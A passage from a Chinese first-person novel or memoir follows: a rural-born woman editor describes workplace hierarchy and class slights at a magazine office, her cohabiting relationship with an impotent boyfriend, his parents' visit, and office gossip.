我为单位兢兢业业,可是我真地不喜欢这样。我们要以社为家,可是家不是可以随便发配人的地方。如果一个人在单位里觉得朝不保夕,天天处在危机之中,那他在单位也只是为了生存,他不会真地爱这个单位。因为单位不爱他,对他不够包容,对他太残酷。那些被发配走的人,对现存的人来说,也起到很好的杀鸡儆猴的作用。杀鸡儆猴固然是让猴子知道了尖刀的厉害,可是也让猴子知道,如果他不老实,或是不小心犯了什么错,那把尖刀也会同样的来杀它。那这猴子还会爱它身处的所在吗? 我读了这么多年的书,我也有学问人的清高和热血。我也想真正地投入到工作中去,去爱我所属的单位,爱他的一砖一瓦。真心地热爱他,维护他。可是,如果,我知道了,他把我身边的兄弟姐妹悄悄地扔了出去,我一个不小心,下一个被扔出去的就是我,我还会那样爱他吗?我想爱也不敢爱了,因为我怕了。爱,应该是自私的,永恒的。彼此对彼此都是这样。如果我知道,我脚下的一砖一瓦有一天将会不再是我的,你告诉我,你让我还怎么爱他? 也许,我这个问题本来就是太傻了。或许,我本来就应该知道,我们跟单位之间本来就不应该有什么爱吧。 任社长把我叫到走廊里跟我谈话。 他说:“小宋,目前看来,你的工作能力很强,性格也很好。社里很看重你,决定把你当储备干部来培养。” 我懵懵懂懂地说:“谢谢任社长。” 任社长语重心长地说:“好好努力吧!” 我说:“其实,我只想努力工作。我只会审稿子,写稿子,其他的事,我觉得我不太适合。做储备干部可能要应付很多社会上的事儿。我是个农村人,我的城市化进程要比米娜他们晚二三十年呢。其实,我觉得米娜她们更合适。她们的年龄也比我小。” 任社长说:“农村人有农村人的好。农村人更朴实。目前来看,你的各方面能力是最强的。你性格急,这是好事。性子急了,才能干成事儿。上次,我看到你们宿舍楼下停着一辆车,是你男朋友的吗?” 我说:“不是,我还没有男朋友呢。” 他说:“我听说《且戒》杂志社有一个编辑,姓黄,叫黄林军,蛮老实的一个人,还没有结婚。我回头给你介绍介绍吧。” 我说:“谢谢任社长。” 他说:“不用谢。你一个女孩子在外地,人生地不熟的,要不是有人帮着你一点,你的人生大事就被耽误了。女孩子耽误不起的。你今年多大了?” 我说:“我今年三十岁了。” 任社长说:“你看,人家米娜才二十五岁,人家早就结婚了。” 我说:“米娜是本地人,还是独生子,我是农村出身的,没办法跟人家比。” 任社长说:“没事儿的,人都是一步一步熬过来的。你看我们那一代,不都是穷苦农民出身嘛。老言,家里穷地只剩下一张稻草铺的床了。你再看他现在的吃穿打扮,跟以前比,简直就是换了一个人。” 我说:“知道了。任社长。我就是担心工作过不了关,其他的不怎么担心。” 任社长说:“别怕。等你熬过来,到我们这个年纪,你也可以游刃有余。” 我似懂非懂地说:“嗯。” 任社长说:“马上,社里准备去团建,你去吗?” 我说:“我晕车,不想去。” 任社长说:“这样吧,我给你找个活儿。你就在社里待着,如果有人来,你负责接待一下。算你加班,回头到老言那里领一百块钱。” 我说:“好吧。”我想,还是因为我是农村人,还是因为我家穷,所以,领导也还是把我当一个穷人来打发的。 这以后,我在本职工作之外,又多出了很多莫名其妙的行走。今天,社里通知我去培训,我立马放下工作,像是一个流浪的女人,跑到陌生的大街上,坐上城际公交车,莫名其妙地跑到一个叫尔康尔泰的酒店去培训。明天,不知道哪个单位要举行一个什么活动,我又要一个人问着路,穿大街,过小巷,好容易摸到那里,莫名其妙地跟几个其他单位派来滥竽充数的人站在一起,莫名其妙地听一个莫名其妙的人,讲了一堆莫名其妙的话,然后大家一起拍个照,原路返回。过了一些时候,我又举着一根枯黄的竹竿挑着一个大红的横幅,打上车,穿过一群农民伯伯在忙碌的田间小路,来到一个有铜像的坟墓前头,去祭奠一个我根本就不知道是谁的爱心老华侨。 我是农村出来的,我不想抛头露面,我不喜欢这样的生活,我想静静地写文章,跟文字打交道。我都三十岁了,是个中年妇女了,我拿着个竹竿挑起来的横幅,东跑西颠的,回到办公室,还得挥舞着那个竹竿到处找地方放置,我觉得很尴尬,我又没有对交际、对仕途的渴求,我不想当什么储备干部了,可是我又不好意思跟任社长讲。 第一次跟黄林军一起吃饭,我们约在一个叫“兄弟鱼馆”的小饭馆儿里,距离《小坛》很近。 他第一次跟我通话时,我听到他那比娘还要娘的声音里,就有些要揍他的冲动,因为那真的很娘:“大——省——”。在这种娇滴滴的声音下,我变地更加斩钉截铁、雷厉风行了。 我有点恼火地问他:“你到哪儿了?” 他听到我这个女汉子的声音,显然有些惊讶。 他顿了顿,说:“我在饭馆儿门口啊!” 我有些不耐烦地朝小饭馆儿门口走去。 可是他的外貌还不错,整体观感很好,他一米七五,白白胖胖,三十七八,事业单位,看起来是一个标准的可以选做男人的男人。我就以为我这个三十岁的大龄剩女捡到了宝了。 他跟我一起走着,有一些女孩儿的羞涩,我以为学文科的男人大抵是这样。 我们坐下以后,他点完了菜,表情有些正式地跟我说:“我还有件事儿没跟你说。” “什么事儿啊?”我说。 “你先吃饭!”他又不说了。 我越发好奇:“到底是什么事儿,你说呗!” 他在饭前这样故弄玄虚,我着急了。 我跟他开玩笑说:“你不是有个儿子吧?” “那倒没有!” “那你是欠了钱?” “也没有!” “那是怎么回事儿,有什么不好说的!” 他眼睛看着饭桌,一脸正经地说:“我那方面不太好。” “噢!”我笑了笑。我那时候还不知道那方面对男女感情、对一个家庭的重要。 我说:“没事儿,能生个小孩儿就行了。” 他心里一块石头落地了。 “吃饭吧!”他说。 不是我不要那方面,是我看上他了。我掂量掂量我自己,年纪也大了,外地人,没人给我张罗婚姻大事,我不可能再找一个这样工作不错、外表齐整的人了。人无完人。我不能追求完美。 我那时候还不知道一个阳痿男人对夫妻感情的杀伤力有多大,还天真地认为那方面不好的男人,应该比那方面正常的男人老实一点吧。他看起来也确实老实。他不太爱言语。说起话儿来,有时还翘起他的小拇指。总之,我就这样认定了他。 这以后的晚上,我们经常一起吃饭,一起散步。 有一天,我们一起散步的时候,他问我说:“你们单位有个叫郝跃的,你知道吗?” 我说:“我知道啊。她比我早来一年。” 他说:“我之前跟她谈了一阵子。没成。” 我说:“你们怎么认识的?” 他说:“人家介绍的。” “那后来怎么没谈成呢?”我问。 “她看不上我呗。她嫌我家是农村的,没钱,父母也没有养老保险,还嫌我年纪大,嫌我学历不如她。”他说。 我说:“我就喜欢农村的。农村的怎么了。” 他说:“她跟你想法不一样,她家是郊区的,她家有钱,见的世面也多。” 我说:“什么有钱没钱的,大家都在同样的单位上班,不都是一样的吗?是她拒绝你的吗?” 他说:“准确地说,是我拒绝她的。那时候,要过年了。我妈催我结婚。我年纪大了,想定下来,她不想。我就不再跟她纠缠了。我等不起。” 我们走到了广场边上,他说:“前面就是我们小区,我就住这儿。我带你去看看我的房子吧。” 我们走到了他的房子跟前,他指着他家的房子对我说:“这就是我家。”他是七七年的,但有时候说话还跟个单纯的小男孩儿一样。我有点被他打动了。 我跟郝跃一起在食堂吃饭的时候,我问郝跃:“郝跃,你以前跟黄林军谈过吗?” 她说:“谈过。你怎么知道他?有人给你们介绍?” 我说:“嗯。” 她说:“你跟他谈了?” 我说:“没有。你那时候怎么跟他没谈成的呢?” 郝跃说:“我看不上他的条件。我是研究生,他学历是专科。他还是七七年的,年龄也太大了。他父母都是农民,没有退休金。” 我说:“他不是买房子了嘛?” 郝跃说:“他那房子是自己贷款买的,还欠着一屁股贷款呢。他到现在连车都买不起。他跟我见面,都是骑摩托车。他到咱们单位门口等我,我都觉得丢脸。我都是让他到大门儿旁边等我。” 我说:“你眼光真高。我就没你眼光高。” 郝跃说:“这不是眼光高不高的问题。以后过起日子来,你就知道了。过日子需要强大的经济后盾的。你要是觉得他行,你就跟他谈谈试试。” 我说:“郝跃,你那时候对他一点好感都没有吗?” 她说:“我那时候心情不好。我奶奶病了。他天天给我打电话,我觉得很烦。其实,我那阵子就是心情不好。如果给我时间长一点,我可能也就接受他了。” 一天,我在办公室里。他发来信息说:“郝跃问我,我是不是给跟你谈了?我怎么回答她?” 我那时候,还是很紧张他,我把郝跃当成了情敌。 我说:“你们不是没有谈成吗?你们怎么还联系的?” 他说:“是她跟我联系的。我又没跟她联系。” 我说:“你们两个藕断丝连,不干不净的,我最讨厌这样了。你们要是互相还有好感,你们继续好了,我退出,我不阻碍你们。” 他说:“你怎么血口喷人。我什么时候对她有好感了?我是好心好意跟你说一下。你非说我对她有好感。” 我说:“她是富婆,她有房子,我又没有房子。你当然对她有好感了。” 他说:“你以为我那么在乎她有房子吗?” 我说:“那你们还联系干什么?你们既然没有谈成,就应该断地干干净净。你们这样纠缠不清,我看了恶心!你们好好谈吧。我们不要再联系了。” 他说:“你怎么这样?我跟你说了,是她联系我的。下班以后再说,我在你们单位大门口等你。” 等我下了班,到了大门口一看,他正在大门口等我。他看到了我,一脸失而复得的样子。 “你怎么这样。我是跟你说了,我要是不跟你说,你还不是根本不知道。”他说。 我说:“我不喜欢不清不楚,藕断丝连。我觉得这样很恶心。你要是觉得她好,你就跟她谈。我不掺和。” 他说:“她也就是问问。她也不是要跟我谈。再说了,她就是要跟我谈,我还不跟她谈呢。” 我说:“你巴不得跟她谈呢。她有房子。我又没房子。” 他说:“你没有房子,可是你也不比她差啊。你比她还小两岁呢。” 我说:“那是当然啊。我跟你我还亏了呢。” 他说:“是的。我跟你一起是我赚大发了。你看,年龄又小,学历又高。工作又好。人还不丑。” 没多久,我就到了他家里,我们开始了同居生活。 晚上,按规矩该做点什么的时候,他实在行不起来。像一个实心的无花果儿上生了一个烂了的大辣椒。那大辣椒里面的果肉都烂成稀汁了,馕轰了,只剩下一层辣椒皮,萎缩在那里。我本能地失望,想当然地以为他会跟我说说好话,安慰我一下。 谁知道,我还没来得及伤感一下,他就沮丧地把身体翻过去,唉声叹气,好像他只是对不起他自己。 我赶紧安慰他:“没事儿!” “你也可以再选择!”他侧转着身子,有些愤愤地说。天呢!明明是他阳痿,他还委屈了!还得我去安慰他。 我那时候太傻了,我天真地想,我怎么能去再选择呢,我都跟他“睡”了,《小坛》的保安都看到了,我要是再找别人,我的脸往哪搁啊?而且,接连多少天的相处,让我对他也有了感情。是的,我这样穷苦人家出身的女孩子,尤其是在年少的时候,是很容易跟一个我愚蠢地认为对我还不错的男人产生感情的。而且,我那个时候,包括到现在,我的不够聪明足够愚蠢的脑子,还是被所谓的英雄情结和圣母心所笼罩,我以为一个人越是处境不好,我越是不能放弃,我越是得对他好。这或许就是来自一个纯粹的不够精明的农村人的愚蠢的厚道。 我们就继续好好生活。我来大姨妈了,把他的凉席弄脏了。 他拿到洗手间边洗边说:“你看看你,要是以后我带你去人家做客,你把人家的东西弄脏了怎么办。”他是一个非常注重外交礼仪的人。 “你要带我去谁家做客啊?”我问他。 “我以前的一个同事就在谷梁镇上。周末没事儿的时候我们可以去他们家玩。” “哦。” “过几天,我父母要来看看你。你要表现好一点。”他说。 “哦。你父母来了,我怎么称呼他们啊?”我问他。 “叫大伯、大妈吧。” “人家不是都叫叔叔阿姨嘛,叫‘大妈’,我怎么觉得那么别扭啊。” “就叫‘大妈’。”他说。 他的父母亲来了,很干净利落、又忠厚朴实的一对老人。他妈妈个子矮矮的,不到一米五吧,脸蛋儿圆圆的。因为常年在田里劳作,她的脸被晒地有些黑黄。她剪着一头短发,慈祥之中又有些可爱。他的父亲比他要清瘦、俊朗,个子高高的,走起路来,背着手,说话慢条斯理,不急不躁,很是沉稳大气,像个退休的老干部。 他父母来,用竹杠子挑了不少东西,有她妈妈包的馄饨,还有他们在镇上买的熟菜。他妈妈有些晕车,但还是积极地烧菜、做饭。我们一起吃饭,说话。大多数时候是他妈妈跟他爸爸说话,他不怎么说话。 “吃啊,小宋。这个青菜是自家田埂上挑的。好吃的。我还给你们包了馄饨。”他妈妈招呼我说。 “知道了,大妈。你们也吃。”我说。 “下了霜以后的青菜最好吃,发甜。”他爸爸说。 “小宋,这个烤鸭好吃。你尝尝,我和你大大在我们镇上买的。”他妈妈说。 “哦。我们这儿的菜场也有烤鸭。就是跟你们买的不一样。那是片皮烤鸭。”我说。 “一样。都是一样的。”他爸爸说。 “不一样。这儿的是北京烤鸭。你们这个不是。”我说。 “一样的。都是一样的。”他爸爸笑着说。他看看我,觉得我很幼稚。 整个过程他不怎么说话,都是我跟他父母一起说话。 饭后,他父母说要一起出去走走。 出小区后门儿的时候,我问他妈妈:“大妈,你们来的时候,走的是哪个门儿啊?” 他妈妈没反应过来:“我们没走门儿。” “啊?没走门儿,那是从天上掉下来的吗。”我说,“老两口儿挑着担子,跟去西天取经似的,从天上降落下来了。”大家哈哈大笑。他爸爸笑地最灿烂最开心。 “我是晕车了,一时没反应过来。”他妈妈笑着说。 “我也晕车。”我说,“晕车要吃晕车药。我给你买吧?” “不用,我自己带了。我今天来的时候,忘了吃药了。上车的时候才想起来,我就自己把那几个药丸子给吞下去了。”他妈妈说。 “哎哟!你吃药不喝水。能行啊。”我说。 “能行。没事儿。”他妈妈说。 秋天,银杏树的叶子落了一地,地上还有很多落下的银杏。 “这个果子可以捡回家剥剥吃的。”他妈妈说。我和他妈妈一起去捡那些小果子,他和他爸爸一起走着。一切看起来是那么和谐。 “起风了。小军,你晚上去接小宋的时候给她带件衣服啊。”他妈妈关照他说。 他父母大概知道我跟他同居了。他父母大概不知道,我们同居了一个月,还是清白的。 “哦。”他居然很应景儿地红了脸说。 不久,他父母又来了,挑了两筐子盘子和碗,他们的儿子要成家了,老两口给张罗着买的新碗。她爸爸到了家,把担子放下,她妈妈忙着把碗放到橱柜里。多么热心肠的老人。 一个几乎从来就没有一个温暖的家的人,太渴望有一个家了。我对这一切都很满足,初识的欢欣,让人忽略了我们这对男女该有却从来都没有的温存。 我们还像是刚恋爱的样子,下了班一起买菜。每次下班,他都给我打电话,问我在哪里,我说在菜场,他就骑着摩托车赶过去,我们一起挑选,一起付钱。 后来,我跟他说:“每次下班,你等我、我等你的,太麻烦了,付钱的时候,两个人谁付谁不付的,也尴尬,你就不要去菜场等我了,我比较顺路,我来买菜吧。”我就把买菜的事揽了下来。我自己买菜。我也不知道问他要钱,他也没给过我钱。过一段时间,他想起来了,也会取五百块钱给我,算是对我这段时间买菜的补贴。 “你看,我对你好吧。”他说。 我那时候也知道他对我真地不算有多好。 我说:“我还没问你要工资卡呢。人家很多男人结婚以后都上交工资卡呢。” 他愤愤地说:“哼!你还不知足。我对你算是好的了,有的人还问他老婆要房钱呢。” 我那时刚刚从农业社会步入现代化,根本不会使用一切家用电器,不会做饭,不会炒菜。他系上围裙,像模像样地教我炒菜。 “你炒菜的样子还蛮好看的,你比我娴熟多了。”我夸赞他说。 “那是。我二十三岁上班,现在都工作十五年了。”他说。 “我妈妈说过,我不会炒菜,因为我什么都没吃过,没见过。”我说。 那会儿,我们感情还不错,我晚上值班到十点多,他就骑着摩托车在《小坛》大门口等我。 我跟一群值班的同事在值班室门前站着,清灵也在。他有着一米八的个子和斯文白皙的脸。在一众发福发油发腻的成功中年男士里,清灵还是比较清新清灵的。清灵比我晚来一年,他小我一岁,85年的,属牛。我知道他,但是我跟他不熟,没跟他搭话。 “老任怎么还没来。他来了,我们好走了!都十点多了!”一个戴眼镜的斯文的中年男人抱怨道。他是王编辑,是编辑部的科研高手,听说笔杆子很硬,很会写论文。 “老任哪希望你走啊?他巴不得你在这儿呆一夜!”郭浩说,“马上你们都走了,我就得在值班室里住一夜!” “谁能跟郭主任比!郭主任是任社长跟前的红人。我们这些草民想去守夜还没这个机会呢!” “你想守夜?我把这个机会给你?”郭浩说。 “算了吧。我没你那毅力,天天跟着他鞍前马后的。我要回家睡觉去了。你在这儿好好干吧,以社为家。前途大大的。”王编辑笑着说。 “不行喽。这几年,头发掉地多喽。肚子也大了。”郭浩说。 王编辑笑着说:“跟着任社长混,不会喝酒是不行的。你的胃吃得消吧?” “吃不消啊。上次十二指肠出血,直接休克了。我老婆打的120。她现在都不让我喝酒了。肾也不好了。”郭浩说。 “啊?肾也有问题了。那杨薇可得好好管管你。”王编辑说,“你说人家任社长怎么就那么能喝的?千杯不醉。” “谁能跟他比。能喝酒的人,他们胃里有一种酶,能把酒给分解掉。所以他们比常人能喝。”郭浩说。 “那任社长胃里的酶天生就比别人的多?”王编辑说。 “那当然。所以他能当领导嘛。领导不是你想当就能当的。你没那么多酶!”郭浩笑着说。 “光这点你就不能不佩服!能喝!”王编辑说。 “那是!”郭浩说着,探出头去,往楼上看了一眼。任社长就在楼上,靠着栏杆打电话。任社长还没走,我们谁也不敢走。 “妈了个巴子的!” 郭浩冷不丁地着着实实地骂了一句。 他居然敢骂任社长!我们全都笑了,郭浩也笑了。 “小宋穿地那么少,不冷啊?”郭浩看看我说。 “不冷!”我说,“我是懒得洗衣服,我宁愿挨冻都不想穿多。”那时候,我穿着一身粉色的小香风的衣裙,面有喜色。 “她应该是不冷。”清灵说,“她看起来蛮有活力的。” 值班结束了,我跑到《小坛》大门口儿,坐上黄林军的摩托车,像是一个小朋友坐上自家大人的摩托车的后座儿。清灵也骑上他的电动车,跟在我们后头。 “回家了!”我跟他打招呼说。 “回家了!”清灵说。 黄林军看出来清灵是我的同事,也应景地礼貌地笑笑。 夜色里,黄林军载着我飞了起来。清灵也骑着他的电动车飞了起来。 我对于清灵,尽管是第一次见面,但并不陌生,我仿佛在哪里见过他一样。这或许是因为我们身上有些共同的气息,又或许,他的样子跟我记忆里的某个人有些默契。 29. 子嗣问题 1.阚部长、米娜 来《小坛》的第二年,我负责稿二阶段了,我们又调换了办公室。这回,办公室里的人员很多,各个组的人混杂在一起,制造了很多的垃圾。垃圾桶就摆在门后头,垃圾桶里的垃圾总是像雪球一样从垃圾桶里滚出来,滚落了一地。她们都在那里嘻嘻哈哈地说笑,没有人看到这些垃圾。只有我看到了。我把那些垃圾扫起来,倒进垃圾篓子里,再把垃圾篓子拿起来,倒到楼下的大垃圾桶里。 我为什么去干呢?因为我觉得就是应该我去干。办公室里,她们的资格都比我老。米娜比我小,又是娇娇弱弱的城里小公主,你说,这么脏的活儿,我不去干,谁干? 她们在嘻嘻哈哈说笑的时候,我总是伏案埋头,审稿、校稿,忙个不休。我不知道该说什么,也不觉得我有什么要说,更不知道我有什么要当众说。所以,我总是伏案低头。有时候,我也觉得自己这样很别扭。是的,我是一个别扭的人。我不太合群。不对,这话说地太委婉,应该说,我就是不合群。我总是第一个来,最后一个走。同样经常最后一个走的是米娜的师父,他姓阚,是我们的分管部长,他才三十几岁,年富力强。他很忙,他总是在专注地忙他的工作,不怎么跟别人闲话。此刻,他难得地停下手头的工作,往手上涂了一些护手霜。 “你也用护手霜啊?”他邻桌的张雪芬编辑笑着说。 “我的手特别容易起皮。天冷了,不涂点护手霜真地不行。”阚部长说。 “你看人家米娜的皮肤多嫩。”张编辑说。 “我就涂了点百雀羚,我妈给我买的。”米娜说。 “我就不能涂东西,我皮肤过敏。” 郝跃说。 “手上也是有学问的,我来给你们看看手相。”张编辑跟我们说。 “好啊!先来给我看看!”郝跃把手伸过去说。 “你这个人啊,看上去安静,其实内心很狂野!”张编辑说。 “你说的太对了!我喜欢蹦极!我喜欢刺激!”郝跃说。 “啊?你敢去蹦极?你太厉害了!”我说。 “来!宋编辑,我也给你看看!”张编辑说。 “谢谢!”我说着把手伸过去。 张编辑托着我的手说:“你吧,表面上看着风风火火的,其实你的内心很安静。你以后老了会有福气的。” “谢谢!我老了还有福气呢?”我说。 “你看你,长得肥头大脸的,一脸福相。”张编辑说。 “小时候,人家夸我肥头大脸,我还觉得骄傲。长大了才知道,一个女的肥头大脸,简直就是天大的缺点。”我笑着说。 “女的还是小脸好看。我就羡慕人家那些锥子脸。”郝跃说。 “我同学从陕西运了一些红枣来,你们谁要?二十块钱一袋。”阚部长说。 “师父,我要两袋!”米娜说。 “也给我两袋吧。” 张编辑说。 “我也要两袋!” 郝跃说,“还有多的吗!再给我两袋,我寄给我同学。” “有的。”阚部长说。 “你说你还费这个事干嘛?直接让阚部长的同学把枣子寄到你同学那里去吧。” 张编辑说。 “那也行!”郝跃说,“哈哈哈哈!” “阚部长,听说你这儿发红枣啊。我们都来了。”四五个高高大大的男男女女堵在门口儿说。 “我同学的,我帮着他销售的。” 阚部长说。 “那必须帮忙啊。我要两袋!”其中一个说。 “我要两袋!”“我要两袋!”另外几个也涌上去说。 “好的!都别抢!我来一个个地分!”阚部长说,“一个包裹还不够,我还得来拆第二个包裹。” 阚部长蹲在地上拆分他的红枣。我不爱吃甜的,可是我也得弄两袋吧。但是,我当众又知道该怎么开口。 阚部长在一个个地分发红枣。就我还岿然不动。 我尴尬地煎熬地坐着,不知道该怎么开口。 终于,我鼓足了勇气:“阚部长,红枣还有吗?给我两袋吧。”我说。 阚部长看了我一眼,说:“好的。”他拿着小刀去拆捆绑快递袋子的绳子。那把小刀是我小时候用的那种削铅笔的小刀,银白色的刀片儿紧贴着黄色的刀鞘。阚部长一使劲儿,那刀片儿挣脱了束缚它的刀鞘,“噌”地一下从他的头顶上飞了起来,那刀片掠过他的脑袋,像是一把飞刀掠过一个西瓜一样,落到他脑袋旁边的地上。 “好险啊!”大家惊叹道。 年后,开工了,米娜还没有到。张编辑说:“米娜去泰国旅游还没有回来啊?” 阚部长说:“还没有呢。她说机票不好订。过几天才能回来。” 没几天,米娜回来了,她梳着漂亮的马尾,头上是一顶咖啡色带白花儿的女仆式的头巾,肚子上系着一个同色系的女仆的小围裙,看起来娇俏可爱。她站在自己的办公桌前头整理着她桌面上的小东西。她的桌面也被她装饰的精致可爱。 “米娜回来了?”张编辑踱过去问。 “回来了,张编辑。”米娜朝她甜甜地笑着说。 “泰国好玩吗?”张编辑问她。 “好玩,就是蛮热的。”米娜娇娇弱弱地说。 “你们在哪里玩的?”张编辑问她。 “我们去了普吉岛。我们自己租的烧烤架子,自己买食材做烧烤吃。”米娜又文文弱弱地说。 “那你们还蛮会玩的。”张编辑说。 “大省去哪里玩的?”张编辑问我。 “我哪也没去,我就回了一趟老家。”我说。 “年轻嘛,多出去玩玩。”张编辑说。 “嗯,现在刚工作,没什么钱。等以后有钱了再去。”我说。 “你一个月好几千呢,出去玩一趟足够了。”张编辑说。 “我现在是月光族。”米娜笑着说,“我出去旅游还是我爸妈赞助的呢。我上次还借了我妈十万块钱,我妈说不要还了。” 我说:“我跟你不一样。我父母不能赞助我,我还得孝敬我父母呢。就我那点钱,我哪敢出去玩。” 米娜笑着说:“我现在都是啃老的。” 我说:“我也想啃,我是没得肯。” 张编辑笑着说:“有则啃之,无则忍之。” 又过了几天,我的对面的办公桌是空着的。 张编辑说:“米娜请假了?” 阚部长说:“是的。 张编辑说:“她家里有事?” 阚部长说:“也不是什么大事儿。米娜睡前,跟她老公开玩笑,说她会□□功。她老公就说他也会□□功。他老公练□□功的时候,把米娜的脚踝给踩着了。米娜脚踝受伤了,走不了路了,要休息几天。” 张编辑说:“哦。那米娜的值班怎么办啊?” 阚部长说:“她的值班回头让宋大省顶一下吧。宋大省,你回头帮米娜值几天的班哈。” 我说:“哦。我知道了。” “米娜跟着你好啊,有你这个师父罩着她。”张编辑说。 “米娜是小女孩儿,也别难为她。” 阚部长说。 我听到这话,远远地自觉地低下了头。是的,人家是小女孩,我大她四岁,我是老妇女了。人家是城里的,我是农村的。所以,我干些脏活儿、累活儿,也是应该的。 阚部长说完出去了。 “我去开会去了。要是有人来找我,你就跟他说一声,让他到行政楼找我。”阚部长叮嘱张编辑说。 张编辑说:“好的。” 阚部长手里拿着个本子走了。 张编辑说:“宋大省,你自己不是有值班吗?你再去帮米娜值班,你吃地消啊?” 我说:“阚部长让我帮米娜值班,我哪敢不答应。我要是不答应,我怕他又说我不关心同事,不尊重领导。” 张编辑说:“你这样会把自己累坏的。你要懂得拒绝。人不能太老实。” 我说:“我要是不答应,米娜的值班怎么办呢?” 张编辑说:“地球离开谁都能转。领导不会为你着想的。你这样不懂得拒绝,领导就会觉得你能干,什么活儿都往你身上推,你累不累啊?你最后把身体累垮了,谁会心疼你呢?别把单位看地那么重,就是一份工作而已。会哭的孩子有糖吃。你看人家米娜,今天请假,明天请假,领导反而觉得她娇弱,不仅准她的假,还跟着心疼她。” 我说:“谢谢你张姐姐。你说的我也知道。但是我不能跟米娜比。她师父是阚部长,人家是皇亲国戚。她年龄比我小,家境又好。我一个农村来的,我多多地干活儿都怕领导不高兴了。我要是再推辞不干,领导不是更看不上我了吗?” 张编辑说:“你也不要妄自菲薄,农村的怎么了?我们大家都是平等的。都是自己努力考进来的,凭本事吃饭,又不靠谁活着。” 我说:“说是这样说,我原本也以为大家都一样,我也是后来才知道,农村来的,人家对你到底是不一样。人家就是瞧不起农村的。人家家境好,从小就娇生惯养的,到了单位里,同事也高看她,领导也照顾她。像我这样的农村里出来的,同事和领导都觉得你就是吃苦的料。再说了,我也是真能吃苦。让我多干点活儿,我也觉得没什么。” 张编辑说:“米娜家里怎么了?她爸爸不就是跑工程的嘛,听说原来是什么环保局的,后来下海经商了。” 我说:“这不就结了吗?你知道我家是什么样的嘛?我家三代贫农。而且不是你以为的那种很小康的农民。是很底层的农民。我从小吃的苦,人家爷爷辈可能都没吃过。我是到了三十岁工作以后,才开始接触现代化的生活。我的现代化进程跟人家比,少说也得晚三十年。” 张编辑说:“那又怎么样。就因为你是农村的,所以那些脏活儿累活儿,你就都抢着干啊?就像门口儿那些垃圾。你为什么老是主动去清理?你就放在那儿不管。谁看不过去,谁去管。” 我笑着说:“我看不下去。太多了,都溢出来了。那些纸球儿都滚在地上了。” 张编辑说:“那你就去抢着干?凭什么?” 我说:“我不干谁干?阚部长干?人家是领导。你们这些人干?你们比我资格老。米娜干?人家是娇小姐,人家又比我小。我自己掂量掂量,还得是我来干。我觉得我要是不去干,大家都得觉得是我太懒。” 张编辑说:“你就是太勤快了。我也是农村的,我就不像你那样。你现在还小,你还不懂得。工作不是生活的全部,你要有自己的生活。你看人家米娜。人家一有空就去酒吧,跟朋友聚会,玩游戏,交换物品。人家多会玩。” 我说:“我是农村的,我从小没接触过那些,我对灯红酒绿的生活也不感兴趣。我顶多也就是逛逛街,买件衣服。” 她说:“南山也可以去玩玩的,那里环境也不错。你周末可以去那里走走。” 我说:“好的。我喜欢大自然。” 我看到我师父在工作群里发了一条信息,他布置大家写一篇文稿。我很快写好了,打印出来,拿着去他办公室交给他。 “聂老师,您布置的文章我写好了。”我跟他说,同时把我完成的稿件放在他的办公桌上。 我师父聂编辑看了很惊讶。 “那么快!”他说。 “我一看到你的通知就开始写了。”我说。 “小宋,以后领导布置的工作不要完成地那么快。你看,你师父布置的任务你一会儿就完成了。你师父多没有成就感啊。他现在直后悔没给你多布置一点呢。”坐在我师父对面的吴编辑说。 “早晚都得写,我就尽早不尽晚了。反正都是自己的事儿。”我说。 “你看,小宋这个人就是实诚。哪像小吴,你太狡诈。你别把小宋这样的好同志给教坏了。”聂编辑跟吴编辑说。 他说完,转头儿跟我说:“小宋啊,这次网络知识竞赛,你帮我考考吧。这是杨编辑的。我们俩儿的账号和密码都在这儿呢。你回头随便考考就行了哈,我回家了。”他说着,点上一支烟,吐出一个烟圈儿,优哉游哉地回家去了。 我迟疑了一下,望着他的背影说:“好。” 聂编辑走了以后,我开始忙碌起来。我先登录了自己的账号和密码,再进行考试。我电脑技术很差,在规定的时间内,老是不能通过。我提交了两次,两次都失败了。还剩下最后一次机会,我开始着急了。我捧着电脑去了米娜那里。 我说:“米娜,你的网络知识竞赛通过了吗?” 她说:“通过了。” 我说:“我的提交了两次,还是没有通过,我都急死了。我电脑技术太差,你能帮我做一下吗?” 米娜说:“我已经帮别人做了好几份了,我师父的都是我做的。我做不动了。不想做了。” 我说:“哎呀,看在我帮你值班的份儿上,你帮我做一下吧。” “我真的做不动了。”米娜说。她说完,拿起包,起身儿走了。 “来!过来!姐姐帮你!你怎么不跟姐姐说呢?”张编辑说。 我说:“我不知道你愿意帮我,我还不好意思麻烦你呢。” 张编辑说:“不难,你看,不是有题库吗?我帮你找答案。” 我说:“那太感谢你了。耽误你时间了。我都不知道该怎么感谢你了。我出去买点水果给你吧。” 张编辑说:“不用不用。很快就好了。不费事。” 我说:“那哪好意思呢。我出去一下就来,你等着我哈。” 我出去买了一大包橘子,放到张编辑桌上。 “谢谢你,张姐姐。”我跟她说。 “真的不用,你说小宋,你太客气了。”张编辑说。 我说:“你帮我做好了是吗?那太感谢你了哈。我师父还让我帮他跟他老婆做呢,我是做不成了。他电脑技术比我好,我马上跟他说说,让他自己做吧。” 张编辑说:“老聂也是的。他明明可以自己做,非要让你做。你看把你给难为的。” 我说:“米娜不是也帮她师父做的嘛,帮师父做也正常。就是我电脑技术太差了。我上了班才买的电脑。” 我就跟聂编辑打了电话,我说:“聂老师,那个知识竞答的题目我没办法帮你做了,我电脑技术太差了,我自己的做了两遍都没有通过,最后还是请别人帮我完成的。你跟杨编辑的,我不敢帮你们做了。我搞半天,不仅不能过关,还会把你们的三次机会给浪费了。” 聂编辑也没有再难为我,他用他一向大大咧咧的口气说:“行行行!我回头自己做吧!你的电脑技术啊,跟五十岁的似的!” 2.杨杨、阿杨 杨编辑是老聂的婆娘,又常常是稿三阶段的成员,我对她崇敬有加。因为她是我的师娘,我就叫她杨老师。 那些跟杨编辑相熟的人都叫她“杨杨,阿杨。”我自觉自己阶层太低,还没有跟她同辈叫她“杨杨”或是“阿杨”的底气和勇气。何况,我是北方人,阿杨这种叫法,在我的印象里是南方人甚至是台湾人的叫法,因此,我实在是叫不出来。 我就恭恭敬敬叫她“杨老师”。 “杨老师!”我说。 哪知杨编辑非常拒绝“杨老师”这个称呼。 “不要叫我‘杨老师’!”她沉着脸说,“‘杨老师’!‘杨老师’!都把人给叫老了。她们都叫我‘杨杨’,或是‘阿杨’。连小潘的几岁的孩子,都叫我‘杨杨阿姨’。” 我当时不知道这个规矩,也改变不了我心中蹩脚的想法。 我说:“我是觉得,因为聂老师是我师父嘛,我就跟着叫你‘杨老师’了。就是出于恭敬,跟年龄没有关系啊。” 